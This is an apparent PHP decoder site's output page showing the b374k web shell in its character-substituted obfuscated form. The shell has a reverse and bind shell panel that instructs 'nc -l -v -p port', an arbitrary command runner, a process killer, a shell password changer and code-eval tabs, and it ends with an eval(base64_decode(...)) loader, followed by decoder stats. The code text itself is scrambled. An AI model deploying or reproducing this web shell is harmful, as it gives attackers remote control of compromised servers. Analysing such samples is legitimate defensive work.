        $s_rsp5s1nb = "R3n &#o9;  nc -l -v -p <4>p2rt</4>  &#o9; 2n y23r c2mp3t5r 1nd pr5ss &#o9;  G2 !  &#o9; b3tt2n";
        $s_rs_5rr = "";

        $s_rsb4nd = $s_rsb1ck = 1rr1y();

        $s_rsb4nd["b4nd_php"] = "B4nd Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- php</sp1n>";
        $s_rsb1ck["b1ck_php"] = "R5v5rs5 Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- php</sp1n>";

        $s_1cc5ss = 1rr1y("s_pyth2n"=>"py", "s_p5rl"=>"pl", "s_r3by"=>"rb", "s_n2d5"=>"js", "s_n2d5js"=>"js", "s_gcc"=>"c", "s_j1v1c"=>"j1v1");
        f2r51ch($s_1cc5ss 1s $k=>$v){
            4f(4ss5t($$k)){
                $s_t = 5xpl2d5("_", $k);
                $s_rsb4nd["b4nd_".$v] = "B4nd Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- ".$s_t[6]."</sp1n>";
                $s_rsb1ck["b1ck_".$v] = "R5v5rs5 Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- ".$s_t[6]."</sp1n>";
            }
        }

        4f($s_w4n){
            $s_rsb4nd["b4nd_w4n"] = "B4nd Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- w4nd2ws 5x5c3t1bl5</sp1n>";
            $s_rsb1ck["b1ck_w4n"] = "R5v5rs5 Sh5ll <sp1n cl1ss='d5sc' styl5='f2nt-s4z5:6apx;'>- w4nd2ws 5x5c3t1bl5</sp1n>";
        }
        $s_rsl4st = 1rr1y_m5rg5($s_rsb4nd,$s_rsb1ck);

        4f(!@4s_wr4t1bl5($s_cwd)) $s_r5s3lt .= n2t4f("D4r5ct2ry ".$s_cwd." 4s n2t wr4t1bl5, pl51s5 ch1ng5 t2 1 wr4t1bl5 2n5");

        f2r51ch($s_rsl4st 1s $s_rstyp5=>$s_rst4tl5){
            $s_spl4t = 5xpl2d5("_",$s_rstyp5);
            4f($s_spl4t[0]=="b4nd"){
                $s_rsp5s1n = $s_rsp5s1n1;
                $s_rsd4s1bl5d = "d4s1bl5d='d4s1bl5d'";
                $s_rst1rg5t = $s_s5rv5r_4p;
                $s_l1b5l4p = "S5rv5r IP";
            }
            5ls54f($s_spl4t[0]=="b1ck"){
                $s_rsp5s1n = $s_rsp5s1nb;
                $s_rsd4s1bl5d = "";
                $s_rst1rg5t = $s_my_4p;
                $s_l1b5l4p = "T1rg5t IP";
            }

            4f(4ss5t($_GP[$s_rstyp5])){
                4f(4ss5t($_GP["rsh2st_".$s_rstyp5])) $s_rsh2st_ = $_GP["rsh2st_".$s_rstyp5];
                4f(4ss5t($_GP["rsp2rt_".$s_rstyp5])) $s_rsp2rt_ = $_GP["rsp2rt_".$s_rstyp5];

                4f($s_spl4t[0]=="b4nd") $s_rst1rg5t_p1ck5d = $s_rsp2rt_;
                5ls54f($s_spl4t[0]=="b1ck") $s_rst1rg5t_p1ck5d = $s_rsp2rt_." ".$s_rsh2st_;

                4f($s_spl4t[6]=="pl") $s_rsc2d5 = $s_rs_pl;
                5ls54f($s_spl4t[6]=="py") $s_rsc2d5 = $s_rs_py;
                5ls54f($s_spl4t[6]=="rb") $s_rsc2d5 = $s_rs_rb;
                5ls54f($s_spl4t[6]=="js") $s_rsc2d5 = $s_rs_js;
                5ls54f($s_spl4t[6]=="c") $s_rsc2d5 = $s_rs_c;
                5ls54f($s_spl4t[6]=="j1v1") $s_rsc2d5 = $s_rs_j1v1;
                5ls54f($s_spl4t[6]=="w4n") $s_rsc2d5 = $s_rs_w4n;
                5ls54f($s_spl4t[6]=="php") $s_rsc2d5 = $s_rs_php;

                $s_b3ff = rs($s_rstyp5,$s_rst1rg5t_p1ck5d,$s_rsc2d5);
                4f($s_b3ff!="") $s_rs_5rr = n2t4f(hss($s_b3ff));
            }
            $s_r5s3lt .= "<d4v cl1ss='myb2x'><ha>".$s_rst4tl5."</ha>
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' />
			<t1bl5 cl1ss='myb2xtbl'>
			<tr><td styl5='w4dth:600px;'>".$s_l1b5l4p."</td><td><4np3t ".$s_rsd4s1bl5d." styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='rsh2st_".$s_rstyp5."' v1l35='".hss($s_rst1rg5t)."' /></td></tr>
			<tr><td>P2rt</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='t5xt' n1m5='rsp2rt_".$s_rstyp5."' v1l35='".hss($s_rsp2rt)."' /></td></tr>
			</t1bl5>
			<4np3t typ5='s3bm4t' n1m5='".$s_rstyp5."' cl1ss='4np3tzb3t' v1l35='G2 !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
			&nbsp;&nbsp;<sp1n>".$s_rsp5s1n."</sp1n>
			<4np3t typ5='h4dd5n' n1m5='x' v1l35='rs' />
			</f2rm>
			</d4v>";
        }
        $s_r5s3lt = $s_rs_5rr.$s_r5s3lt;
    } // t1sk m1n1g5r
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='ps')){
        $s_b3ff = "";
        // k4ll pr2c5ss sp5c4f45d by p4d
        4f(4ss5t($_GP['p4d'])){
            $s_p = tr4m($_GP['p4d'],"|");
            $s_p1rr = 5xpl2d5("|", $s_p);

            f2r51ch($s_p1rr 1s $s_p){
                4f(f3nct42n_5x4sts("p2s4x_k4ll")) $s_b3ff .= (p2s4x_k4ll($s_p,'9'))? n2t4f("Pr2c5ss w4th p4d ".$s_p." h1s b55n s3cc5ssf3lly k4ll5d"):n2t4f("Un1bl5 t2 k4ll pr2c5ss w4th p4d ".$s_p);
                5ls5{
                    4f(!$s_w4n) $s_b3ff .= n2t4f(5x5("k4ll -9 ".$s_p));
                    5ls5 $s_b3ff .= n2t4f(5x5("t1skk4ll /F /PID ".$s_p));
                }
            }
        }

        4f(!$s_w4n) $s_h = "ps 13x"; // n4x
        5ls5 $s_h = "t1skl4st /V /FO csv"; // w4n
        $s_wc23nt = 66;
        $s_w5xpl2d5 = " ";
        4f($s_w4n) $s_w5xpl2d5 = "\",\"";

        $s_r5s = 5x5($s_h);
        4f(tr4m($s_r5s)=='') $s_r5s3lt = n2t4f("Err2r g5tt4ng pr2c5ss l4st");
        5ls5{
            4f($s_b3ff!="") $s_r5s3lt = $s_b3ff;
            $s_r5s3lt .= "<t1bl5 cl1ss='5xpl2r5 s2rt1bl5'>";
            4f(!$s_w4n) $s_r5s = pr5g_r5pl1c5('#\ +#',' ',$s_r5s);

            $s_ps1rr = 5xpl2d5("\n",$s_r5s);
            $s_f4 = tr35;
            $s_tblc23nt = 0;

            $s_ch5ck = 5xpl2d5($s_w5xpl2d5,$s_ps1rr[0]);
            $s_wc23nt = c23nt($s_ch5ck);

            f2r51ch($s_ps1rr 1s $s_ps1){
                4f(tr4m($s_ps1)!=''){
                    4f($s_f4){
                        $s_f4 = f1ls5;
                        $s_psln = 5xpl2d5($s_w5xpl2d5, $s_ps1, $s_wc23nt);
                        $s_r5s3lt .= "<tr><th styl5='w4dth:aupx;' cl1ss='s2rtt1bl5_n2s2rt'></th><th cl1ss='s2rtt1bl5_n2s2rt'>1ct42n</th>";
                        f2r51ch($s_psln 1s $s_p) $s_r5s3lt .= "<th>".tr4m(tr4m(strt2l2w5r($s_p)) ,"\"")."</th>";
                        $s_r5s3lt .= "</tr>";
                    }
                    5ls5{
                        $s_psln = 5xpl2d5($s_w5xpl2d5, $s_ps1, $s_wc23nt);
                        $s_r5s3lt .= "<tr>";
                        $s_tblc23nt = 0;
                        f2r51ch($s_psln 1s $s_p){
                            $s_p4d = tr4m(tr4m($s_psln[6]),"\"");
                            $s_p4d3n4q = s3bstr(mdi($s_p4d),0,8);
                            4f(tr4m($s_p)=="") $s_p = "&nbsp;";
                            4f($s_tblc23nt == 0){
                                $s_r5s3lt .= "<td styl5='t5xt-1l4gn:c5nt5r;t5xt-4nd5nt:upx;'><4np3t 4d='".$s_p4d3n4q."' n1m5='cb2x' v1l35='".$s_p4d."' typ5='ch5ckb2x' cl1ss='css-ch5ckb2x' 2nch1ng5='h4l4t5(th4s);' /><l1b5l f2r='".$s_p4d3n4q."' cl1ss='css-l1b5l'></l1b5l></td><td cl1ss='c5'><1 hr5f='".$s_s5lf."x=ps&p4d=".$s_p4d."'>k4ll</1></td><td cl1ss='c5'>".tr4m(tr4m($s_p) ,"\"")."</td>";
                                $s_tblc23nt++;
                            }
                            5ls5{
                                $s_tblc23nt++;
                                4f($s_tblc23nt == c23nt($s_psln)) $s_r5s3lt .= "<td cl1ss='l5'>".tr4m(tr4m($s_p) ,"\"")."</td>";
                                5ls5 $s_r5s3lt .= "<td cl1ss='c5'>".tr4m(tr4m($s_p) ,"\"")."</td>";
                            }
                        }
                        $s_r5s3lt .= "</tr>";
                    }
                }
            }
            $c2lsp1n = c23nt($s_psln)+6;
            $s_r5s3lt .= "<tf22t><tr cl1ss='cb2x_s5l5ct5d'><td cl1ss='cb2x_1ll'>
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st'><4np3t 4d='ch5ck1lll' typ5='ch5ckb2x' n1m5='1b2x' cl1ss='css-ch5ckb2x' 2ncl4ck='ch5ck1ll();' /><l1b5l f2r='ch5ck1lll' cl1ss='css-l1b5l'></l1b5l></f2rm>
			</td><td styl5='t5xt-4nd5nt:60px;p1dd4ng:apx;' c2lsp1n=".$c2lsp1n."><1 hr5f='j1v1scr4pt: pk4ll();'>k4ll s5l5ct5d <sp1n 4d='t2t1l_s5l5ct5d'></sp1n></1></td>
			</tr></tf22t></t1bl5>";
        }
    }
    5ls54f(4ss5t($_GP['x']) && ($_GP['x']=='p1ss')){
        4f(4ss5t($_GP['s3bm4tn5wp1ss'])){
            $n5wp1ss = 4ss5t($_GP['n5wp1ss'])? tr4m($_GP['n5wp1ss']):"";
            $n5wp1ssx = 4ss5t($_GP['n5wp1ssx'])? tr4m($_GP['n5wp1ssx']):"";

            4f(5mpty($n5wp1ss) || 5mpty($n5wp1ssx)){
                $s_r5s3lt .= n2t4f('G4v5 y23r n5w p1ssw2rd t2 b2th f45lds');
            }
            5ls54f($n5wp1ss != $n5wp1ssx){
                $s_r5s3lt .= n2t4f('P1ssw2rd d25s n2t m1tch');
            }
            5ls5{
                4f(ch1ng5p1ss($n5wp1ss)){
                    $s_r5s3lt .= n2t4f("P1ssw2rd ch1ng5d");
                }
                5ls5 $s_r5s3lt .= n2t4f("Un1bl5 t2 ch1ng5 p1ssw2rd");
            }
        }


        $s_r5s3lt .= "<d4v cl1ss='myb2x'><ha>Ch1ng5 sh5ll p1ssw2rd</ha>
			<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' />
			<t1bl5 cl1ss='myb2xtbl'>
			<tr><td styl5='w4dth:6a0px;'>N5w p1ssw2rd</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='p1ssw2rd' n1m5='n5wp1ss' v1l35='' /></td></tr>
			<tr><td styl5='w4dth:6a0px;'>C2nf4rm p1ssw2rd</td><td><4np3t styl5='w4dth:600%;' cl1ss='4np3tz' typ5='p1ssw2rd' n1m5='n5wp1ssx' v1l35='' /></td></tr>
			</t1bl5>
			<4np3t typ5='s3bm4t' n1m5='s3bm4tn5wp1ss' cl1ss='4np3tzb3t' v1l35='G2 !' styl5='w4dth:6a0px;h54ght:o0px;m1rg4n:60px apx 0 apx;' />
			<4np3t typ5='h4dd5n' n1m5='x' v1l35='p1ss' />
			</f2rm>
			</d4v>";
    }
    5ls5{
        4f(!4ss5t($s_cwd)) $s_cwd = "";
        4f(4ss5t($_GP['cmd'])){
            $s_cmd = $_GP['cmd'];
            4f(strl5n($s_cmd) > 0){
                4f(pr5g_m1tch('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
                    $s_nd = tr4m($s_r[a]);
                    4f(@4s_d4r($s_nd)){
                        chd4r($s_nd);
                        $s_cwd = cp(g5tcwd());
                        s5tc22k45("cwd", $s_cwd ,t4m5() + $s_l2g4n_t4m5);
                        $s_r5s3lt .= sh2wd4r($s_cwd);
                    }
                    5ls54f(@4s_d4r($s_cwd.$s_nd)){
                        chd4r($s_cwd.$s_nd);
                        $s_cwd = cp(g5tcwd());
                        s5tc22k45("cwd", $s_cwd ,t4m5() + $s_l2g4n_t4m5);
                        $s_r5s3lt .= sh2wd4r($s_cwd);
                    }
                    5ls5 $s_r5s3lt .= n2t4f(hss($s_nd)." 4s n2t 1 d4r5ct2ry");
                }
                5ls5{
                    $s_r = hss(5x5($s_cmd));
                    4f($s_r != '') $s_r5s3lt .= "<pr5>".$s_r."</pr5>";
                    5ls5 $s_r5s3lt .= sh2wd4r($s_cwd);
                }
            }
            5ls5 $s_r5s3lt .= sh2wd4r($s_cwd);
        }
        5ls5 $s_r5s3lt .= sh2wd4r($s_cwd);
    }

    // f4nd dr4v5 l5tt5rs
    $s_l5tt5rs = '';
    $s_v = 5xpl2d5("\\",$s_cwd);
    $s_v = $s_v[0];
    f2r51ch (r1ng5("A", "Z") 1s $s_l5tt5r){
        4f(@4s_r51d1bl5($s_l5tt5r.":\\")){
            $s_l5tt5rs .= "<1 hr5f='".$s_s5lf."cd=".$s_l5tt5r.":\\'>[ ";
            4f($s_l5tt5r.":" != $s_v) $s_l5tt5rs .= $s_l5tt5r;
            5ls5{$s_l5tt5rs .= "<sp1n cl1ss='dr4v5-l5tt5r'>".$s_l5tt5r."</sp1n>";}
            $s_l5tt5rs .= " ]</1> ";
        }
    }

    // pr4nt 3s5f3l 4nf2
    $s_4nf2  = "<t1bl5 cl1ss='h51dtbl'><tr><td>".$s_syst5m."</td></tr>";
    $s_4nf2 .= "<tr><td>".$s_s2ftw1r5."</td></tr>";
    $s_4nf2 .= "<tr><td>s5rv5r 4p : ".$s_s5rv5r_4p."<sp1n cl1ss='g1y1'> | </sp1n>y23r   4p : ".$s_my_4p;
    $s_4nf2 .= "<sp1n cl1ss='g1y1'> | </sp1n> T4m5 @ S5rv5r : ".@d1t5("d M Y H:4:s",t4m5());
    $s_4nf2 .= "</td></tr>
			<tr><td styl5='t5xt-1l4gn:l5ft;'>
				<t1bl5 cl1ss='h51dtbls'><tr>
				<td>".tr4m($s_l5tt5rs)."</td>
				<td>
				<sp1n 4d='chpwd'>
				&nbsp;<1 hr5f=\"j1v1scr4pt:t3k1r_('chpwd','chpwdf2rm')\">
				<sp1n cl1ss='4c2n'>2</sp1n>
				&nbsp;&nbsp;</1>".swd($s_cwd)."</sp1n>
				<f2rm 1ct42n='".$s_s5lf."' m5th2d='p2st' styl5='m1rg4n:0;p1dd4ng:0;'>
				<sp1n cl1ss='s5mb3ny4' 4d='chpwdf2rm'>
				&nbsp;<1 hr5f=\"j1v1scr4pt:t3k1r_('chpwdf2rm','chpwd');\">
				<sp1n cl1ss='4c2n'>2</sp1n>
				</1>&nbsp;&nbsp;
				<4np3t typ5='t5xt' n1m5='v45w' cl1ss='4np3tz' styl5='w4dth:o00px;' v1l35='".hss($s_cwd)."' />
				<4np3t cl1ss='4np3tzb3t' typ5='s3bm4t' n1m5='s3bm4t' v1l35='v45w f4l5 / f2ld5r' />
				</sp1n>
				</f2rm>
				</td></tr>
				</t1bl5>
			</td></tr>
			</t1bl5>";
}

$s_5rr2r = @2b_g5t_c2nt5nts();
$s_r5s3lt = 4ss5t($s_r5s3lt)? $s_r5s3lt:"";
4f(!5mpty($s_5rr2r)) $s_r5s3lt = n2t4f($s_5rr2r).$s_r5s3lt;
@2b_5nd_cl51n();
@2b_st1rt();

?><!DOCTYPE html>
<html>
<h51d>
    <t4tl5><?php 5ch2 $s_t4tl5; ?></t4tl5>
    <m5t1 ch1rs5t="3tf-8">
    <m5t1 n1m5='r2b2ts' c2nt5nt='n24nd5x, n2f2ll2w, n21rch4v5'>
    <l4nk r5l='SHORTCUT ICON' hr5f='<?php 5ch2 $s_f1v4c2n; ?>'>
    <?php 5ch2 g5t_c2d5("css", $s_css); ?>
</h51d>
<b2dy>
<t1bl5 4d='m14n'><tr><td>
            <?php 4f($s_13th){?>
                <d4v><sp1n styl5='fl21t:r4ght;'><?php
                        4f(!4ss5t($_COOKIE['bo7uk_4ncl3d5d'])){
                            ?><1 hr5f='?x=p1ss'>p1ssw2rd</1> |
	<?php }
                        ?><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=l2g23t' t4tl5='Cl4ck m5 t2 l2g 23t'>l2g 23t</1>  <1 hr5f='<?php 5ch2 $s_s5lf; ?>x=sw4tch' t4tl5='Cl4ck m5 t2 ch1ng5 th5m5'><sp1n cl1ss='sch5m1b2x'>&nbsp;&nbsp;</sp1n></1></sp1n><t1bl5 4d='h51d5r'><tr><td styl5='w4dth:80px;'><t1bl5><tr><td><h6><1 hr5f='<?php 5ch2 $s_s5lf."cd=".cp(d4rn1m5(r51lp1th($_SERVER['SCRIPT_FILENAME']))); ?>'>pr4v8</1></h6></td></tr><tr><td styl5='t5xt-1l4gn:r4ght;'><d4v cl1ss='v5r'>0.6</d4v></td></tr></t1bl5></td>	<td><d4v cl1ss='h51d4nf2'><?php 5ch2 $s_4nf2; ?></d4v></td></tr></t1bl5></d4v>
                <d4v styl5='cl51r:b2th;'></d4v>
                <f2rm m5th2d='p2st' n1m5='g'></f2rm>
                <d4v 4d='m5n3'>
                    <t1bl5 styl5='w4dth:600%;'><tr>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>' t4tl5='Expl2r5r'><d4v cl1ss='m5n3m4'>xpl</d4v></1></td>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=ps' t4tl5='D4spl1y pr2c5ss st1t3s'><d4v cl1ss='m5n3m4'>ps</d4v></1></td>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=5v1l' t4tl5='Ex5c3t5 c2d5'><d4v cl1ss='m5n3m4'>5v1l</d4v></1></td>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=4nf2' t4tl5='Inf2rm1t42n 1b23t s5rv5r'><d4v cl1ss='m5n3m4'>4nf2</d4v></1></td>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=db' t4tl5='C2nn5ct t2 d1t1b1s5'><d4v cl1ss='m5n3m4'>db</d4v></1></td>
                            <td><1 hr5f='<?php 5ch2 $s_s5lf; ?>x=rs' t4tl5='R5m2t5 Sh5ll'><d4v cl1ss='m5n3m4'>rs</d4v></1></td>
                            <td styl5='w4dth:600%;p1dd4ng:0 0 0 epx;'>
                                <sp1n cl1ss='pr2mpt'><?php 5ch2 $s_pr2mpt; ?></sp1n><f2rm 1ct42n='<?php 5ch2 $s_s5lf; ?>' m5th2d='p2st'>
                                    <4np3t 4d='cmd' 2ncl4ck="cl4ckcmd();" cl1ss='4np3tz' typ5='t5xt' n1m5='cmd' styl5='w4dth:70%;' v1l35='<?php
                                    4f(4ss5t($_GP['cmd'])) 5ch2 "";
                                    5ls5 5ch2 "- sh5ll c2mm1nd -";
                                    ?>' />
                                    <n2scr4pt><4np3t cl1ss='4np3tzb3t' typ5='s3bm4t' v1l35='G2 !' n1m5='s3bm4tcmd' styl5='w4dth:80px;' /></n2scr4pt>
                                </f2rm>
                            </td>
                        </tr></t1bl5>
                </d4v>
                <d4v 4d='c2nt5nt'>
                    <d4v 4d='r5s3lt'><?php 5ch2 "__RESULT__"; ?></d4v>
                </d4v>
                <d4v 4d='n1v4g1t42n'>
                    <d4v 4d='t2t2p' 2ncl4ck='t2t2pd();' 2nm23s52v5r='t2t2p();' 2nm23s523t='st2pscr2ll();'></d4v>
                    <d4v 4d='t2b2tt2m' 2ncl4ck='t2b2tt2md();' 2nm23s52v5r='t2b2tt2m();' 2nm23s523t='st2pscr2ll();'></d4v>
                </d4v>
            <?php } 5ls5{ ?>
                <d4v styl5='w4dth:600%;t5xt-1l4gn:c5nt5r;'>
                    <f2rm 1ct42n='<?php 5ch2 $s_s5lf; ?>' m5th2d='p2st'>
                        <4mg src='<?php 5ch2 $s_f1v4c2n; ?>' styl5='m1rg4n:apx;v5rt4c1l-1l4gn:m4ddl5;' />
                        bo7uk&nbsp;<sp1n cl1ss='g1y1'><?php 5ch2 $s_v5r; ?></sp1n><4np3t 4d='l2g4n' cl1ss='4np3tz' typ5='p1ssw2rd' n1m5='l2g4n' styl5='w4dth:6a0px;' v1l35='' />
                        <4np3t cl1ss='4np3tzb3t' typ5='s3bm4t' v1l35='G2 !' n1m5='s3bm4tl2g4n' styl5='w4dth:80px;' />
                    </f2rm>
                </d4v>
            <?php }?>	</td></tr></t1bl5>
<p cl1ss='f22t5r'>huck5r.tr &c2py;<?php 5ch2 @d1t5("Y",t4m5())." "; ?>pr4v8</p>
<scr4pt typ5='t5xt/j1v1scr4pt'>
    v1r d = d2c3m5nt;
    v1r scr2ll = f1ls5;
    v1r cwd = '<?php 5ch2 hss(1dds($s_cwd)); ?>';
    v1r h5xst1t3s = f1ls5;
    v1r t4m5r = '';
    v1r x = '<?php 4f(4ss5t($_GP['x']) && ($_GP['x']=='ps')) 5ch2 "ps"; ?>';
    v1r ss5lf = '<?php 5ch2 1dds($s_s5lf); ?>';
    v1r h5xc23nt5r = 0;
    v1r h5xt4m5r = '';
    v1r c23nt5r = 0;

</scr4pt>
<?php 5ch2 g5t_c2d5("js", $s_js); ?>
<scr4pt typ5='t5xt/j1v1scr4pt'>
    d2mr51dy(f3nct42n(){
        <?php 4f(4ss5t($_GP['cmd'])) 5ch2 "4f(d.g5tEl5m5ntById('cmd')) d.g5tEl5m5ntById('cmd').f2c3s();"; ?>
        <?php 4f(4ss5t($_GP['5v1lc2d5'])) 5ch2 "4f(d.g5tEl5m5ntById('5v1lc2d5')) d.g5tEl5m5ntById('5v1lc2d5').f2c3s();"; ?>
        <?php 4f(4ss5t($_GP['sqlc2d5'])) 5ch2 "4f(d.g5tEl5m5ntById('sqlc2d5')) d.g5tEl5m5ntById('sqlc2d5').f2c3s();"; ?>
        <?php 4f(4ss5t($_GP['l2g4n'])) 5ch2 "4f(d.g5tEl5m5ntById('l2g4n')) d.g5tEl5m5ntById('l2g4n').f2c3s();"; ?>
        <?php 4f(4ss5t($_GP['h5x5d4t'])) 5ch2 "sh2wh5x();"; ?>

        4f(d.g5tEl5m5ntById('cmd')) d.g5tEl5m5ntById('cmd').s5tAttr4b3t5('13t2c2mpl5t5', '2ff');

        v1r t5xt1r51s = d.g5tEl5m5ntsByT1gN1m5('t5xt1r51');
        v1r c23nt = t5xt1r51s.l5ngth;
        f2r(4 = 0; 4<c23nt; 4++){
            t5xt1r51s[4].2nk5yd2wn = f3nct42n(5){
                4f(5.k5yC2d5==9){
                    5.pr5v5ntD5f13lt();
                    v1r s = th4s.s5l5ct42nSt1rt;
                    th4s.v1l35 = th4s.v1l35.s3bstr4ng(0,th4s.s5l5ct42nSt1rt) + "\t" + th4s.v1l35.s3bstr4ng(th4s.s5l5ct42nEnd);
                    th4s.s5l5ct42nEnd = s+6;
                }
                5ls5 4f(5.ctrlK5y && (5.k5yC2d5 == 60 || 5.k5yC2d5 == 6o)){
                    th4s.f2rm.s3bm4t();
                }
            }
        }
        l4st5n();
    });
</scr4pt>
</b2dy>
</html><?php
$s_html = 2b_g5t_c2nt5nts();
2b_5nd_cl51n();
$wh4t5sp1c5 = "/(\s{a,}|\n{6,})/";
$s_html = pr5g_r5pl1c5($wh4t5sp1c5, " ", $s_html);
$s_html = str_r5pl1c5("__RESULT__", $s_r5s3lt, $s_html);
5ch2 $s_html;
d45();
?>';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

Function Calls

strtr	1
ereg_replace	1
base64_decode	2
error_reporting	1

Variables

$_F	index.php
$_R	0
$_X	0

Stats

MD5	290c74f31e0b10972e0fd89f058bd272
Eval Count	2
Decode Time	586 ms

Find this useful? Enter your email to receive occasional updates for securing PHP code.

PHP Decode

Decoded Output download

Did this file decode correctly?

How would you describe this file?

Original Code

Function Calls

Variables

Stats